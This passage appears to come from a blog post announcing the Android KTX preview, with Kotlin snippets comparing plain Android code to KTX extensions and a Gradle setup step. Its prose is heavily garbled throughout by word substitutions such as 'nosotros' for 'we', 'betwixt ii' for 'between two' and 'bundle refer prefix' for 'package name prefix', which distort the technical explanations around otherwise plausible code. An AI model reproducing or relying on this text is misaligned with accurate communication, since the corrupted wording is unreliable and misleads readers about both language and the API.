In the code below, nosotros interpret the departure betwixt ii paths yesteryear 100px.

Kotlin
Kotlin amongst Android KTX
val pathDifference = Path(myPath1).apply {    op(myPath2, Path.Op.DIFFERENCE) }  val myPaint = Paint()  canvas.apply {    val checkpoint = save()    translate(0F, 100F)    drawPath(pathDifference, myPaint)    restoreToCount(checkpoint) }   
val pathDifference = myPath1 - myPath2  canvas.withTranslation(y = 100F) {    drawPath(pathDifference, myPaint) }  

Action on View onPreDraw

This instance triggers an activeness amongst a View's onPreDraw callback. Without Android KTX, in that location is quite a flake of code y'all need to write.

Kotlin
view.viewTreeObserver.addOnPreDrawListener(        object : ViewTreeObserver.OnPreDrawListener {            override fun onPreDraw(): Boolean {                viewTreeObserver.removeOnPreDrawListener(this)                actionToBeTriggered()                return true            }        })
Kotlin amongst Android KTX
view.doOnPreDraw { actionToBeTriggered() }

There are many to a greater extent than places where Android KTX tin simplify your code. You tin read the full API reference documentation on GitHub.

Getting Started

To start using Android KTX inward your Android Kotlin projects, add together the next to your app module's build.gradle file:

repositories {     google() }  dependencies {     // Android KTX for framework API     implementation 'androidx.core:core-ktx:0.1'     ... } 

Then, later on y'all sync your project, the extensions seem automatically inward the IDE's auto-complete list. Selecting an extension automatically adds the necessary import contention to your file.

Beware that the APIs are probable to alter during the preview period. If y'all determine to purpose it inward your projects, y'all should aspect breaking changes earlier nosotros accomplish the stable version.

androidx: Hello World!

You may discovery that Android KTX uses bundle names that laid out amongst androidx. This is a novel bundle refer prefix that nosotros volition last using inward time to come versions of Android Support Library. We promise the partition betwixt android.* as well as androidx.* makes it to a greater extent than obvious which APIs are bundled amongst the platform, as well as which are static libraries for app developers that run into dissimilar versions of Android.

What's Next?

Today's preview launch is exclusively the beginning. Over the side yesteryear side few months, nosotros volition iterate on the API every bit nosotros contain your feedback as well as contributions. When the API has stabilized as well as nosotros tin commit to API compatibility, nosotros programme to unloose Android KTX every bit portion of the Android Support Library.

We aspect frontward to edifice Android KTX together amongst you. Happy Kotlin-ing!